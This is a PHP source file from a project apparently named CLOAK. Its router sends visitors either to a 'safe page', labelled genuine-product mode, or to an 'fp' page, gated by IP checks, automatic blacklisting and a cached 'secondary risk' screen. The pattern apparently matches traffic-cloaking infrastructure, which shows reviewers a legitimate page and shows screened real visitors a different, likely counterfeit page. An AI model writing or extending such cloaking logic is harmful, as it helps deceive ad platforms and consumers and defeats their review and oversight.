Files
CLOAK/lib/Cloak/SimulationRouteResolver.php
T

150 lines
4.7 KiB
PHP
Raw Normal View History

2026-06-15 22:42:59 +08:00
<?php
require_once __DIR__ . '/FpUrlHelper.php';
require_once __DIR__ . '/RiskSecondaryGate.php';
require_once __DIR__ . '/RiskSecondaryCache.php';
require_once __DIR__ . '/ClientIpResolver.php';
/**
* 模拟测试路由:写日志,不输出 HTML / 302
*/
class SimulationRouteResolver
{
/**
* @param array $ctx 需含 v_info, logs, config_name, reason, model
* @return array{branch:string,log_id:?int,logs:array,needs_secondary:bool}
*/
public static function dispatch(array $ctx)
{
extract($ctx, EXTR_SKIP);
if (SHOW_SITE_MODE_SWITCH == 'zp') {
return self::safeBranch($logs, $v_info);
}
$showFp = (SHOW_SITE_MODE_SWITCH == 'ip_check' && $_SESSION['check_result'] != 'false')
|| SHOW_SITE_MODE_SWITCH == 'fp';
if ($showFp) {
return self::fpOrRiskBranch($logs, $v_info, $config_name);
}
return self::safeBranch($logs, $v_info);
}
/**
* @param array $logs
*/
private static function safeBranch(array $logs, $v_info)
{
if (SHOW_SITE_MODE_SWITCH == 'zp') {
$logs['result'] = 'false';
$logs['reason'] = self::mergeReason($logs['reason'] ?? '', '正品模式');
}
$logs['fp_url'] = DB_ZP;
$log_id = write_log_db($logs);
return [
'branch' => 'safe_page',
'log_id' => $log_id,
'logs' => $logs,
'needs_secondary' => false,
];
}
/**
* @param array $logs
*/
private static function fpOrRiskBranch(array $logs, $v_info, $config_name)
{
if (AUTO_BLACK == 'ON') {
$times = howmanytimesbyip($v_info->v_ip);
if ($times + 1 >= AUTO_BLACK_TIMES) {
write_black_list($v_info->v_ip);
}
}
if (!isset($_SESSION['visit_to_3'])) {
$_SESSION['visit_to_3'] = '1';
}
if (RiskSecondaryGate::isEnabled()) {
$cached = RiskSecondaryCache::get(ClientIpResolver::resolve());
if ($cached !== null) {
return self::fpFromRiskCache($logs, $v_info, $config_name, $cached);
}
}
if (($_SESSION['visit_to_3'] ?? '1') != '3' && RiskSecondaryGate::isEnabled()) {
$logs['result'] = 'wait';
$logs['reason'] = self::mergeReason($logs['reason'] ?? '', '二次风控检测中');
$logs['fp_url'] = '';
$log_id = write_log_db($logs);
return [
'branch' => 'secondary_risk',
'log_id' => $log_id,
'logs' => $logs,
'needs_secondary' => true,
];
}
$logs['result'] = 'true';
$logs['reason'] = $logs['reason'] ?? '';
$resolved = FpUrlHelper::resolve($config_name, true);
$logs['fp_url'] = $resolved['url'] !== '' ? $resolved['url'] : FpUrlHelper::fallbackUrl();
$log_id = write_log_db($logs);
return [
'branch' => 'fp_page',
'log_id' => $log_id,
'logs' => $logs,
'needs_secondary' => false,
];
}
/**
* @param array $logs
* @param array $cached
*/
private static function fpFromRiskCache(array $logs, $v_info, $config_name, array $cached)
{
RiskSecondaryCache::applyToSession($cached);
$apiResponse = RiskSecondaryCache::toApiResponse($cached);
$logs['result'] = $apiResponse['result'] ? 'true' : 'false';
$logs['reason'] = self::mergeReason($logs['reason'] ?? '', $apiResponse['reason']);
$logs['fp_url'] = trim((string) ($apiResponse['link'] ?? ''));
if ($logs['fp_url'] === '') {
$logs['fp_url'] = $logs['result'] === 'true'
? FpUrlHelper::fallbackUrl()
: (defined('DB_ZP') ? (string) DB_ZP : '');
}
if ($logs['result'] === 'false') {
return self::safeBranch($logs, $v_info);
}
$log_id = write_log_db($logs);
return [
'branch' => 'fp_page_cache',
'log_id' => $log_id,
'logs' => $logs,
'needs_secondary' => false,
];
}
private static function mergeReason($existing, $append)
{
$existing = trim((string) $existing);
$append = trim((string) $append);
if ($existing === '') {
return $append;
}
if ($append === '' || strpos($existing, $append) !== false) {
return $existing;
}
return $existing . '' . $append;
}
}